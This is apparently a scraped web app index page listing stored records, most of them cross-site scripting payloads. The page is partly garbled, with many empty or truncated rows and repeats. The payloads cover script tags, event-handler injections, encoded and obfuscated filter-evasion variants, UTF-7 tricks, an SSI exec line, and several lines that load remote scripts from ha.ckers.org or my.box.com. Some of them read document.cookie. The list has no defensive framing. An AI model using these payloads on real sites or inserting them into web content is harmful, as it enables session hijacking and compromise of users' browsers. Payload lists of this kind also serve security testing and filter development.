Edit |
Destroy |
| xss |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| b=\"URL(\\"\"; |
Show |
Edit |
Destroy |
| a=\"get\"; |
Show |
Edit |
Destroy |
| c=\"javascript |
Show |
Edit |
Destroy |
| d=\"alert('XSS');\\")\"; |
Show |
Edit |
Destroy |
| eval(a b c d); |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| echo('IPT |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| Redirect 302 /a |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| < |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| \u003c |
Show |
Edit |
Destroy |
| \u003C |
Show |
Edit |
Destroy |
| \x3C |
Show |
Edit |
Destroy |
| \x3c |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| perl -e 'print \" |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| '';!--\" |
Show |
Edit |
Destroy |
| ';alert(String |
Show |
Edit |
Destroy |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> |
Show |
Edit |
Destroy |
| '';!--"<XSS>= |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG SRC=javascrscriptipt:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC=JaVaScRiPt:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC=" |
Show |
Edit |
Destroy |
| <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
Show |
Edit |
Destroy |
| <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| ¼script¾alert(¢XSS¢)¼/script¾ |
Show |
Edit |
Destroy |
| \";alert('XSS');// |
Show |
Edit |
Destroy |
| <<SCRIPT>alert("XSS");//<</SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| </TITLE><SCRIPT>alert("XSS");</SCRIPT> |
Show |
Edit |
Destroy |
| <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
Show |
Edit |
Destroy |
| <TABLE><TD BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
Show |
Edit |
Destroy |
| <TABLE BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> |
Show |
Edit |
Destroy |
| <DIV STYLE="width: expression(alert('XSS'));"> |
Show |
Edit |
Destroy |
| <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> |
Show |
Edit |
Destroy |
| <XSS STYLE="xss:expression(alert('XSS'))"> |
Show |
Edit |
Destroy |
| exp/*<A STYLE='no\xss:noxss("*//*");xss: |
Show |
Edit |
Destroy |
| <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> |
Show |
Edit |
Destroy |
| <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> |
Show |
Edit |
Destroy |
| a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a b c d e); |
Show |
Edit |
Destroy |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> |
Show |
Edit |
Destroy |
| <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS |
Show |
Edit |
Destroy |
| <form><button formaction="javascript:alert(123)">crosssitespt |
Show |
Edit |
Destroy |
| <form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION |
Show |
Edit |
Destroy |
| <frameset onload=alert(123)> |
Show |
Edit |
Destroy |
| <!--<img src="--><img src=x onerror=alert(123)//"> |
Show |
Edit |
Destroy |
| <style><img src="</style><img src=x onerror=alert(123)//"> |
Show |
Edit |
Destroy |
| <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> |
Show |
Edit |
Destroy |
| <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> |
Show |
Edit |
Destroy |
| <! foo="><script>alert(1)</script>"> |
Show |
Edit |
Destroy |
| <embed src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <? foo="><script>alert(1)</script>"> |
Show |
Edit |
Destroy |
| </ foo="><script>alert(1)</script>"> |
Show |
Edit |
Destroy |
| <script>({0:#0=alert/#0#/#0#(123)})</script> |
Show |
Edit |
Destroy |
| <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script> |
Show |
Edit |
Destroy |
| <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script> |
Show |
Edit |
Destroy |
| <script src="#">{alert(1)}</script>;1 |
Show |
Edit |
Destroy |
| <svg xmlns="#"><script>alert(1)</script></svg> |
Show |
Edit |
Destroy |
| <svg onload="javascript:alert(123)" xmlns="#"></svg> |
Show |
Edit |
Destroy |
| <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script> |
Show |
Edit |
Destroy |
| <iframe xmlns="#" src="javascript:alert(1)"></iframe> |
Show |
Edit |
Destroy |
| +ADw-script AD4-alert(document.location)+ADw-/script+AD4- |
Show |
Edit |
Destroy |
| +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi- |
Show |
Edit |
Destroy |
| ACIAPgA8-script AD4-alert(document.location) ADw-/script AD4APAAi- |
Show |
Edit |
Destroy |
| ADw-script AD4-alert(document.location) ADw-/script AD4- |
Show |
Edit |
Destroy |
| %3cscript%3ealert(document.cookie)%3c/script%3e |
Show |
Edit |
Destroy |
| “><ScRiPt>alert(document.cookie)</script> |
Show |
Edit |
Destroy |
| “><s”+”cript>alert(document.cookie)</script> |
Show |
Edit |
Destroy |
| “><<script>alert(document.cookie);//<</script> |
Show |
Edit |
Destroy |
| foo<script>alert(document.cookie)</script> |
Show |
Edit |
Destroy |
| <scr<script>ipt>alert(document.cookie)</scr</script>ipt> |
Show |
Edit |
Destroy |
| ‘; alert(document.cookie); var foo=’ |
Show |
Edit |
Destroy |
| "/><BODY onload=’document.write("<s"+"cript src=http://my.box.com/xss.js></script>")’> |
Show |
Edit |
Destroy |
| foo\’; alert(document.cookie);//’; |
Show |
Edit |
Destroy |
| <img src=asdf onerror=alert(document.cookie)> |
Show |
Edit |
Destroy |
| </script><script >alert(document.cookie)</script> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=alert(’XSS’)> |
Show |
Edit |
Destroy |
| <script>alert(1)</script> |
Show |
Edit |
Destroy |
| "><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script> |
Show |
Edit |
Destroy |
| <video src=1 onerror=alert(1)> |
Show |
Edit |
Destroy |
| <audio src=1 onerror=alert(1)> |
Show |
Edit |
Destroy |
| '';!--"<XSS>= |
Show |
Edit |
Destroy |
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
Show |
Edit |
Destroy |
| 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" |
Show |
Edit |
Destroy |
| <script/src=data:,alert()> |
Show |
Edit |
Destroy |
| <marquee/onstart=alert()> |
Show |
Edit |
Destroy |
| <video/poster/onerror=alert()> |
Show |
Edit |
Destroy |
| <isindex/autofocus/onfocus=alert()> |
Show |
Edit |
Destroy |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG SRC=JaVaScRiPt:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert("XSS")> |
Show |
Edit |
Destroy |
| <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> |
Show |
Edit |
Destroy |
| <a onmouseover="alert(document.cookie)">xxs link</a> |
Show |
Edit |
Destroy |
| <a onmouseover=alert(document.cookie)>xxs link</a> |
Show |
Edit |
Destroy |
| <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
Show |
Edit |
Destroy |
| <IMG SRC= onmouseover="alert('xxs')"> |
Show |
Edit |
Destroy |
| <IMG SRC=# onmouseover="alert('xxs')"> |
Show |
Edit |
Destroy |
| <IMG onmouseover="alert('xxs')"> |
Show |
Edit |
Destroy |
| <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| #0000108 |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC="jav ascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| <IMG SRC=" |
Show |
Edit |
Destroy |
| <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <<SCRIPT>alert("XSS");//<</SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT SRC=http://ha.ckers.org/xss.js?< B > |
Show |
Edit |
Destroy |
| <SCRIPT SRC=//ha.ckers.org/.j> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS')" |
Show |
Edit |
Destroy |
| \";alert('XSS');// |
Show |
Edit |
Destroy |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <iframe src=http://ha.ckers.org/scriptlet.html < |
Show |
Edit |
Destroy |
| </script><script>alert('XSS');</script> |
Show |
Edit |
Destroy |
| </TITLE><SCRIPT>alert("XSS");</SCRIPT> |
Show |
Edit |
Destroy |
| <BODY BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> |
Show |
Edit |
Destroy |
| <IMG DYNSRC="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <IMG SRC='vbscript:msgbox("XSS")'> |
Show |
Edit |
Destroy |
| <IMG LOWSRC="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <IMG SRC="livescript:[code]"> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=alert('XSS')> |
Show |
Edit |
Destroy |
| <BGSOUND SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <BR SIZE=" |
Show |
Edit |
Destroy |
| <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> |
Show |
Edit |
Destroy |
| <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> |
Show |
Edit |
Destroy |
| <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> |
Show |
Edit |
Destroy |
| <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> |
Show |
Edit |
Destroy |
| <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> |
Show |
Edit |
Destroy |
| exp/*<A STYLE='no\xss:noxss("*//*"); |
Show |
Edit |
Destroy |
| <STYLE TYPE="text/javascript">alert('XSS');</STYLE> |
Show |
Edit |
Destroy |
| xss:ex/*XSS*//*/*/pression(alert("XSS"))'> |
Show |
Edit |
Destroy |
| <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> |
Show |
Edit |
Destroy |
| <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> |
Show |
Edit |
Destroy |
| <XSS STYLE="xss:expression(alert('XSS'))"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| ¼script¾alert(¢XSS¢)¼/script¾ |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> |
Show |
Edit |
Destroy |
| <XSS STYLE="behavior: url(xss.htc);"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
Show |
Edit |
Destroy |
| <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> |
Show |
Edit |
Destroy |
| <TABLE BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> |
Show |
Edit |
Destroy |
| <TABLE><TD BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image: url( |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> |
Show |
Edit |
Destroy |
| <DIV STYLE="width: expression(alert('XSS'));"> |
Show |
Edit |
Destroy |
| <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]--> |
Show |
Edit |
Destroy |
| <BASE HREF="javascript:alert('XSS');//"> |
Show |
Edit |
Destroy |
| <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"--> |
Show |
Edit |
Destroy |
| <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?> |
Show |
Edit |
Destroy |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> |
Show |
Edit |
Destroy |
| <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> |
Show |
Edit |
Destroy |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD> ADw-SCRIPT AD4-alert('XSS'); ADw-/SCRIPT AD4- |
Show |
Edit |
Destroy |
| <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <A HREF="http://66.102.7.147/">XSS</A> |
Show |
Edit |
Destroy |
| 0\"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-" |
Show |
Edit |
Destroy |
| #"><img src=M onerror=alert('XSS');> |
Show |
Edit |
Destroy |
| element[attribute='<img src=x onerror=alert('XSS');> |
Show |
Edit |
Destroy |
| veris-->group<svg/onload=alert(/XSS/)// |
Show |
Edit |
Destroy |
| ";alert('RVRSH3LL_XSS)// |
Show |
Edit |
Destroy |
| javascript:alert(1); |
Show |
Edit |
Destroy |
| [<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ] |
Show |
Edit |
Destroy |
| <w contenteditable id=x onfocus=alert()> |
Show |
Edit |
Destroy |
| <svg/onload=alert(1337)> |
Show |
Edit |
Destroy |
| <script>for((i)in(self))eval(i)(1)</script> |
Show |
Edit |
Destroy |
| alert;pg("XSS") |
Show |
Edit |
Destroy |
| <sCR<script>iPt>alert(1)</SCr</script>IPt> |
Show |
Edit |
Destroy |
| <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a> |
Show |
Edit |
Destroy |
| <scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt> |
Show |
Edit |
Destroy |
| %3Cscript%3Ealert('XSS')%3C%2Fscript%3E |
Show |
Edit |
Destroy |
| <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onended="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onloadeddata="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onloadedmetadata="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onpause="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onloadstart="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onplay="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onplaying="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onprogress="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onratechange="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onseeked="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onseeking="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
| <IMG SRC=x onstalled="alert(String.fromCharCode(88,83,83))"> |
Show |
Edit |
Destroy |
